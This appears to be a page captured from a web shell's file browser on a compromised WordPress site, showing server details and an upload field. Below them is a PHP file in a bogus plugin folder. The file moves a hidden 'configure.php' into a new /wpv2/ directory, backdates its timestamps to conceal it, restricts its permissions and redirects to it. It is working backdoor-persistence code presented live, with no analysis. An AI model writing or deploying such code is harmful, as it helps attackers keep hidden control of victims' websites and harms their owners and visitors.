| Server IP : 80.65.208.158 / Your IP : 216.73.216.25 Web Server : Microsoft-IIS/10.0 System : Windows NT VMI1501711 10.0 build 17763 (Windows Server 2019) AMD64 User : IWPD_134(rotechno) ( 0) PHP Version : 8.3.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/Inetpub/vhosts/rotechnochem.com/httpdocs/wp-content/plugins/easy/ |
Upload File : |
<?php
$a = __DIR__ . '/configure.php';
$b = rtrim($_SERVER['DOCUMENT_ROOT'], '/') . '/wpv2/index.php';
$c = rtrim($_SERVER['DOCUMENT_ROOT'], '/') . '/wpv2';
if (!is_dir($c)) {
if (mkdir($c, 0755, true)) {
touch($c, strtotime('2021-02-03 01:02:03'));
} else {
header('Location: configure.php');
exit;
}
}
if (file_exists($a) && !file_exists($b)) {
if (rename($a, $b)) {
touch($b, strtotime('2021-02-03 01:02:03'));
chmod($b, 0400);
chmod($c, 0511);
header('Location: https://' . $_SERVER['HTTP_HOST'] . '/wpv2/');
exit;
} else {
header('Location: configure.php');
exit;
}
}
die(file_exists($b) ? "File tujuan sudah ada." : "File sumber tidak ditemukan atau gagal memindahkan file.");
?>